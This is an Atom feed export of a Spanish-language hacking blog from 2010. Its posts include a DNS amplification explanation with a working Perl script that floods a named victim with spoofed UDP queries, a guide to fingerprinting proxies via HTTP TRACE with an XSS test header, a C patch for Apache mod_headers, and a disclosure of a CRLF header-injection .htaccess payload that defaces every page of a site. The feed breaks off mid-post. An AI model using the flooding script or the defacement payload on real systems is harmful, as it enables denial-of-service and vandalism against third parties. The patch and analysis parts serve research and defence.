<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7920044947628905249</id><updated>2011-08-03T15:50:22.909-07:00</updated><title type='text'>Blog de Xianur0</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>80</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7568726113390733286</id><published>2010-09-01T21:11:00.000-07:00</published><updated>2010-09-01T21:11:46.710-07:00</updated><title type='text'>Hacking Television</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_UbB1YAg3klE/THdCllpyjDI/AAAAAAAAAHs/momH-hBvsrM/S1600-R/logo1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="214" src="http://2.bp.blogspot.com/_UbB1YAg3klE/THdCllpyjDI/AAAAAAAAAHs/momH-hBvsrM/S1600-R/logo1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Hacking Television es un nuevo proyecto, que se ha iniciado con varios compañeros, en este vamos a colgar papers, vídeos e imagenes, como novedad este blog (aparte de transmisiones en vivo y vídeo archivo), se integra temáticas como es el hardware hacking (molificación de objetos cotidianos, modding extremo, etc...) y muchas cosas mas. Solo me resta invitarlos a que lo visiten (también las donaciones son bien recibidas... el hardware no es gratuito y tampoco se cuenta con patrocinio xD jeje).&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;a href="http://hackingtelevision.blogspot.com/"&gt;http://hackingtelevision.blogspot.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7568726113390733286?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://hackingtelevision.blogspot.com/' title='Hacking Television'/><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7568726113390733286/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7568726113390733286' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7568726113390733286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7568726113390733286'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/09/hacking-television.html' title='Hacking Television'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_UbB1YAg3klE/THdCllpyjDI/AAAAAAAAAHs/momH-hBvsrM/s72-Rc/logo1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8944417165331072542</id><published>2010-06-08T17:20:00.000-07:00</published><updated>2010-09-01T11:22:04.507-07:00</updated><title type='text'>DNS Amplification (explicacion y PoC con Net::RawIP y Net::DNS)</title><content type='html'>Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;¿por que es eficiente?&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Vamos a dar un ejemplo con dig:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="bbc_standard_quote"&gt;xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.6.1-P2 &lt;&lt;&gt;&gt; @192.168.1.254 . ANY&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options: +cmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 53160;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11;; QUESTION SECTION:;.            IN   ANY;; ANSWER SECTION:.         452834   IN   NS   c.root-servers.net..         452834   IN   NS   e.root-servers.net..         452834   IN   NS   f.root-servers.net..         452834   IN   NS   d.root-servers.net..         452834   IN   NS   b.root-servers.net..         452834   IN   NS   j.root-servers.net..         452834   IN   NS   g.root-servers.net..         452834   IN   NS   l.root-servers.net..         452834   IN   NS   h.root-servers.net..         452834   IN   NS   k.root-servers.net..         452834   IN   NS   m.root-servers.net..         452834   IN   NS   a.root-servers.net..         452834   IN   NS   i.root-servers.net..         66297   IN   SOA   a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400;; ADDITIONAL SECTION:e.root-servers.net.   538845   IN   A   192.203.230.10f.root-servers.net.   539272   IN   A   192.5.5.241f.root-servers.net.   600142   IN   AAAA   2001:500:2f::fd.root-servers.net.   538814   IN   A   128.8.10.90b.root-servers.net.   538838   IN   A   192.228.79.201j.root-servers.net.   538827   IN   A   192.58.128.30j.root-servers.net.   600142   IN   AAAA   2001:503:c27::2:30g.root-servers.net.   538716   IN   A   192.112.36.4l.root-servers.net.   538832   IN   A   199.7.83.42l.root-servers.net.   157464   IN   AAAA   2001:500:3::42h.root-servers.net.   538823   IN   A   128.63.2.53;; Query time: 1328 msec;; SERVER: 192.168.1.254#53(192.168.1.254);; WHEN: Tue Jun  8 16:00:21 2010;; MSG SIZE  rcvd: 497&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;es decir, nosotros solicitamos el registro any de un punto (root/raiz), y el servidor DNS nos respondio con el listado de los servidores DNS root de internet.&lt;br /&gt;&lt;br /&gt;a cualquier servidor DNS que preguntemos esto por lo regular respondera con dicho listado. Ahora si nosotros enviamos un paquete DNS (como se ha dicho con el origen spoofeado xD) preguntando esto mismo, el servidor DNS respondera a la victima, por lo cual este ataque se amplifica (es mucho mayor lo que el servidor DNS envia que lo que nosotros enviamos).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Ahora va el PoC:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&lt;pre name="code" class="PHP:nocontrols"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;# uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;use Net::DNS;&lt;br /&gt;use Net::RawIP qw(:pcap);&lt;br /&gt;&lt;br /&gt;print "\t\tDNS Amplification Attack By Xianur0\n\n";&lt;br /&gt;my $usage = "\nUso: $0 [victima] [servidor] [Puerto victima (udp)] [N. Paquetes] [Registro]\n";&lt;br /&gt;&lt;br /&gt;die $usage unless $ARGV[0] &amp;&amp; $ARGV[1] &amp;&amp; $ARGV[2] &amp;&amp; $ARGV[3] &amp;&amp; $ARGV[4];&lt;br /&gt;&lt;br /&gt;my $fuckingvar1=$ARGV[0];&lt;br /&gt;my $fuckingvar2=$ARGV[1];&lt;br /&gt;my $fuckingvar4=$ARGV[2];&lt;br /&gt;my $fuckingvar5='53';&lt;br /&gt;my $registro = $ARGV[4];&lt;br /&gt;my $domain = ".";&lt;br /&gt;my $fuckingvar6 = 4000;&lt;br /&gt;$fuckingvar6 = $ARGV[3] if ($ARGV[3] != 0);&lt;br /&gt;&lt;br /&gt;my $packet_r = Net::DNS::Packet-&amp;gt;new($domain, $registro, "IN"); # creamos el paquete&lt;br /&gt;my $udp_r = new Net::RawIP({ip=&amp;gt; {saddr=&amp;gt;$fuckingvar1, daddr=&amp;gt;$fuckingvar2}, udp=&amp;gt;{source=&amp;gt;$fuckingvar4, dest=&amp;gt;$fuckingvar5}}); # especificamos los valores (IP Spoofeada, destino (victima), puerto origen (puerto a donde se enviara la respuesta del DNS) y destino)&lt;br /&gt;&lt;br /&gt;print "Enviando...\n";&lt;br /&gt;for($fuck = 0; $fuck &amp;lt; $fuckingvar6; $fuck++) {&lt;br /&gt;  $udp_r-&amp;gt;set({udp=&amp;gt;{data=&amp;gt;$packet_r-&amp;gt;data}});&lt;br /&gt;  $udp_r-&amp;gt;send();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print "Enviado!\n";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a href="javascript:void(0);" onclick="return smfSelectText(this);" class="codeoperation"&gt;&lt;/a&gt;&lt;/div&gt;&lt;code class="bbc_code"&gt;&lt;/code&gt;&lt;br /&gt;&lt;strong&gt;Bytez xianur0&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8944417165331072542?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8944417165331072542/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8944417165331072542' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8944417165331072542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8944417165331072542'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/06/dns-smurf-explicacion-y-poc-con.html' title='DNS Amplification (explicacion y PoC con Net::RawIP y Net::DNS)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4743311095468560299</id><published>2010-06-05T11:37:00.000-07:00</published><updated>2010-06-05T11:38:31.987-07:00</updated><title type='text'>Analisis de red mediante HTTP</title><content type='html'>Antes que nada aclaro que se requiere conocimientos previos sobre el funcionamiento del HTTP, no se va a explicar el funcionamiento, solo va a mostrar los mecanismos de analisis...&lt;br /&gt;&lt;br /&gt;Supongamos, nosotros tenemos una transferencia HTTP con web.com. Lo que podemos ver a simple vista es la respuesta que nos da, pero mas haya, nos interesa saber como esta estructurada la conexion al servidor, es decir, que puntos/proxys/balanceadores de carga hay?&lt;br /&gt;&lt;br /&gt;Y por que nos seria util saber eso?, por varias razones, por ejemplo si determinamos la estructura que hay, podemos analizar las reglas de cada uno de los proxys y por consiguiente utilizarlo para algo "no tan bueno". Sin mas comenzemos:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;de inicio vamos a utiliza webs reales, pero ocultando las direcciones, para evitarnos problemas....&lt;br /&gt;Solo llames a estas webs: www.servidor1.com y www.servidor2.com.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La prueba que siempre nos sera de utilidad es la del TRACE:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;TRACE / HTTP/1.0&lt;br /&gt;Host: www.servidor1.com&lt;br /&gt;X: &amp;lt;script&amp;gt;alert(/xss/.source)&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Esta prueba nos ayudara a determinar si se edito el paquete en algun punto de la red antes de llegar al servidor, es decir, la respuesta aproximada a esta consulta deberia de ser:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 05 Jun 2010 17:20:26 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: message/http&lt;br /&gt;&lt;br /&gt;50&lt;br /&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: www.servidor1.com&lt;br /&gt;X: &amp;lt;script&amp;gt;alert(/xss/.source)&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;suponiendo que el servidor solo envia datos con Transfer-encoding chunked.&lt;br /&gt;&lt;br /&gt;esto es, se responde como contenido lo que enviamos, en caso de que la respuesta sea diferente, quiere decir que tenemos algo en la red, del mismo modo podemos extraer datos de eso, es decir segun cabeceras añadidas en el envio, se pueden determinar algunas cosas, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Sat, 05 Jun 2010 17:23:46 GMT&lt;br /&gt;Server: Apache/2.2.8 (Unix) PHP/5.2.12&lt;br /&gt;Content-Type: message/http&lt;br /&gt;X-Cache: MISS from wefwfg&lt;br /&gt;X-Cache-Lookup: NONE from wefwfg:80&lt;br /&gt;Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;TRACE / HTTP/1.0&lt;br /&gt;Host: www.servidor2.com&lt;br /&gt;Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)&lt;br /&gt;X-Forwarded-For: 189.xx.xx.xx&lt;br /&gt;Cache-Control: max-age=259200&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;esto es, primero que nada podemos ver en el encabezado:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;X-Cache: MISS from wefwfg&lt;br /&gt;X-Cache-Lookup: NONE from wefwfg:80&lt;br /&gt;Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Para comenzar ahi podemos determinar que se utiliza un servidor proxy cache llamado wefwfg, el usa el puerto 80, y es un squid/2.6.STABLE5, de momento ya sabemos que hay un servidor proxy cache implicado, pero eso no es todo.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;TRACE / HTTP/1.0&lt;br /&gt;Host: www.servidor2.com&lt;br /&gt;Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)&lt;br /&gt;X-Forwarded-For: 189.xx.xx.xx&lt;br /&gt;Cache-Control: max-age=259200&lt;br /&gt;Connection: keep-alive&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El proxy cache agrega las cabeceras Via, X-Forwarded-For, Cache-Control y Connection.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lo que enviamos al servidor fue (en este caso): &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: www.servidor2.com&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y ese envio no coincide con lo que le llego al servidor....&lt;br /&gt;&lt;br /&gt;Ahora otro detalle: se envio la cabecera X-Forwarded-For, con mi ip, esto quiere decir, que a simple vista, no hay otro servidor proxy antes de este squid, en otras palabras, el servidor principal, al cual nos conectamos fue: wefwfg, y este realizo la conexion al servidor donde se encuentra www.servidor2.com&lt;br /&gt;&lt;br /&gt;Ahora nos queda determinar si se balancea la carga (es decir que hubiera mas servidores en esto...), como podriamos hacer esto?, mediante un envio recursivo de datos, lo mas comun es detectar cabeceras Date, que no coincide (es decir, fallan por 1 minuto, 1 hora, 1 año, o mas...) o alguna diferencia en otra cabecera que marque tiempo o algo similar que pueda variar en caso de tratarse de otro servidor.&lt;br /&gt;&lt;br /&gt;Pero no estas conformes con estas tecnicas, por la simple razon de que no funcionan en todos los servidores, es decir si el proxy no edita la respuesta, si no envia via o cabeceras similares o el servidor web no soporta TRACE, entonces no funcionaran, vamos a ver algunas mas:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;GET http://localhost/ HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;Connection: Close&lt;br /&gt;Proxy-Connection: Close&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esto es una trampa doble, para comenzar, se pide localhost, es decir si hay un proxy este intentara conectarse a si mismo en el puerto 80, lo cual por lo regular causaria un bucle infinito (en caso de ser un proxy sin filtro para esto), un 403 o un 500. Pero adicional a eso pueden aver algunos otros datos:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;HTTP/1.1 403 Forbidden&lt;br /&gt;Date: Sat, 05 Jun 2010 17:20:32 GMT&lt;br /&gt;Content-Length: 257&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Server: NetCache appliance (NetApp/5.4R2D2)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tenemos un 403, y aparte en la cabecera Server, tenemos datos del servidor proxy, en este caso un NetCache (Version 5.4R2D2).&lt;br /&gt;&lt;br /&gt;Ahora dije que era una trampa doble, como podran notar agrege 2 tokens para la conexion (encabezados Connection y Proxy-Connection), es decir, en caso de no recibir un 403 o 500, podemos recibir en el encabezado de la respuesta un Connection: close o un Proxy-Connection: Close.&lt;br /&gt;&lt;br /&gt;Un servidor web comun no utiliza Proxy-Connection, un proxy si...&lt;br /&gt;&lt;br /&gt;Ahora podemos usar eso mismo con otra clase de consultas y ayudaria bastante...&lt;br /&gt;&lt;br /&gt;Ahora regresando a lo del balanceo de cargas, lo mas eficiente para estos casos, aparte de revisar que las cabeceras no cuadren con lo que deberian, se puede forzar al servidor a mostrarse, como?&lt;br /&gt;&lt;br /&gt;mediante un envio recursivo de paquetes, es decir, podemos determinar cuando un servidor cambie por ciertos detalles por ejemplo:&lt;br /&gt;&lt;br /&gt;un servidor soporta 3 paquetes por conexion persistente, es decir:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;GET / HTTP/1.1&lt;br /&gt;Host: servidor2.com&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: servidor2.com&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: servidor2.com&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;y respondera a esas 3 consultas en la misma conexion, pero a la siguiente consulta, soporta 4?, ahi detectamos que son servidores diferentes...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Otro:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Enviamos varias consultas con diferentes metodos, determinamos que metodos soporta y si en otra vuelta, no soporta algun metodo, es lo mismo, es otro servidor...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Bueno concluimos con este paper diciendo lo siguiente: &lt;/b&gt;la seguridad es solo un mito, los proxys invisibles no existen, siempre hay una forma de detectar cuando algo que esta ahi, no deberia estar ahi ;)...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PD: &lt;/b&gt; para mas informacion y mas tecnicas, asistir a mi conferencia en x25sec xd jajajaj&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Saludos!, esto es todo por el momento... xD....&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4743311095468560299?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4743311095468560299/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4743311095468560299' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4743311095468560299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4743311095468560299'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/06/analisis-de-red-mediante-http.html' title='Analisis de red mediante HTTP'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4494403897785905481</id><published>2010-05-07T09:07:00.000-07:00</published><updated>2010-05-07T09:11:56.623-07:00</updated><title type='text'>Parchando mod_headers</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Bueno ahora viene la forma de parchar el mod_headers (apache2)...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primero que nada se requiere el mod_headers.c (viene en cualquier paquete de codigo fuente del apache), luego viene lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;&lt;br /&gt;static int nocrlf(char *val) {&lt;br /&gt; ap_regex_t *regex;&lt;br /&gt; ap_regcomp(&amp;amp;regex, "\n",AP_REG_EXTENDED);&lt;br /&gt; if(ap_regexec(&amp;amp;regex, val, 0, NULL, 0) != 0) {&lt;br /&gt;  return 1;&lt;br /&gt; }&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;esa funcion retorna 1 en caso de que no tenga crlf lo que le demos como parametro, de lo contrario 0... esto es mediante expresiones regulares (nadamas buscamos un \n y es todo xD...).&lt;br /&gt;&lt;br /&gt;la podemos colocar en cualquier lado (no importa mucho donde declaramos esta funcion), en mi caso lo puse en la linea 510...&lt;br /&gt;&lt;br /&gt;lo siguiente es hacer que no setie las cabeceras cuando tienen crlf...&lt;br /&gt;&lt;br /&gt;busquemos:&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;&lt;br /&gt;       switch (hdr-&amp;gt;action) {&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y justamente antes ponemos:&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;&lt;br /&gt; if(nocrlf(process_tags(hdr, r)) == 1)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;esto es, si hay crlf en el header no se entra al switch, de modo que no se setea la cabecera...&lt;br /&gt;&lt;br /&gt;listo, ya tenemos el mod_headers parchado, ahora nos toca instalarlo:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C:nocontrols"&gt;&lt;br /&gt;root@Zer0-Null:/usr/local/apache2/bin# ./apxs -cia /home/xianur0/httpd-2.3.5-alpha/modules/metadata/mod_headers.c&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bueno eso fue en mi caso, nadamas hay que posicionarnos en la ruta donde este instalado nuestro apache, y buscar el apxs (tiene que estar instalado, de otro modo tendriamos que recompilar el apache :S...) y darle la ruta del mod_headers.c&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;y ahora ya, tenemos parchado mod_headers y nuestro apache :)...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4494403897785905481?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4494403897785905481/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4494403897785905481' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4494403897785905481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4494403897785905481'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/05/parchando-modheaders.html' title='Parchando mod_headers'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8696652173223758731</id><published>2010-05-05T15:46:00.000-07:00</published><updated>2010-05-07T09:14:06.986-07:00</updated><title type='text'>Apache mod_headers Mass Defacement</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Autor:&lt;/span&gt; Xianur0 (Oscar García López)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CCAT Research Labs&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Versiones afectadas:&lt;/span&gt; de momento se ha probado y todas las apache2 son afectadas, probablemente tambien la 1.3 pero no se ha realizado la prueba.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Parche:&lt;/span&gt; de momento ninguno, pero luego programamos uno :)...&lt;br /&gt;&lt;br /&gt;Bueno este bug/detalle viene siendo algo muy simple, pero tiene bastante utilidad, es local, se requiere permisos para crear un .htaccess, y lo siguiente va de la siguiente forma:&lt;br /&gt;&lt;br /&gt;Apache habia restringido las cabeceras que se pueden rescribir, por ejemplo Content-Length quedo bloqueada para basicamente todas las funciones, de modo que no se puede falsificar facilmente un &lt;span style="font-weight: bold;"&gt;content-length&lt;/span&gt;, pero pasa lo siguiente, &lt;span style="font-weight: bold;"&gt;mod_headers&lt;/span&gt; no filtra correctamente los &lt;span style="font-weight: bold;"&gt;CRLF&lt;/span&gt;, y apache no detecta que cabeceras se crean mediante el &lt;span style="font-weight: bold;"&gt;CRLF/LF&lt;/span&gt;, entonces tenemos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"&lt;br /&gt;Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n&amp;lt;h1&amp;gt;Xianur0 Was Here&amp;lt;/h1&amp;gt;"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;este &lt;span style="font-weight: bold;"&gt;.htaccess&lt;/span&gt; lo que haria seria rescribir la cabecera&lt;span style="font-weight: bold;"&gt; Last-Modified&lt;/span&gt; (esta cabecera es de las primeras en crearse), de modo que nuestra cabecera quedara antes que el content-length real, ahora hay diferencia entre el manejo de cabeceras que tienen los navegadores, por ejemplo google chrome, lee solo la primera cabecera y las siguientes repetidas son ignoradas, por el contrario firefox hace basicamente lo mismo que apache, va leyendo las cabeceras repetidas y remplazando el valor anterior por el de la cabecera mas reciente, de modo que nuestro .htaccess ya contempla esos detalles, primero edita Last-Modified (para que quede antes que el content-length real), y luego crea una cabecera "&lt;span style="font-weight: bold;"&gt;xianur0&lt;/span&gt;", con valor "Xianur0 Was Here", y en cada una pone un salto de linea ("\n"), y seguido de eso crea las cabeceras &lt;span style="font-weight: bold;"&gt;Content-Length&lt;/span&gt; que sustituiran a la real, luego en la ultima cabecera que se escribe, se insertan otros dos saltos de linea, y tenemos que lo siguiente queda en la seccion de html, los navegadores comunes, leen unicamente la cantidad de caracteres especificados en el content-length, de modo que todo lo siguiente despues de eso 25 que se especificaron, es ignorado.&lt;br /&gt;&lt;br /&gt;y listo, tenemos un deface automatico de todas las paginas, nada se editar, solo se crea el .htaccess, pero a la vista de cualquier navegador la web estaria completamente defaceada :)...&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Wed, 05 May 2010 22:36:17 GMT&lt;br /&gt;Server: Apache/2.3.5 (Unix)&lt;br /&gt;Last-Modified: Xianur0 Was Here&lt;br /&gt;Content-Length: 25&lt;br /&gt;ETag: "1a4558-2d-432a5e4a73a80"&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Content-Length: 45&lt;br /&gt;xianur0: Xianur0 Was Here&lt;br /&gt;Content-Length: 25&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Xianur0 Was 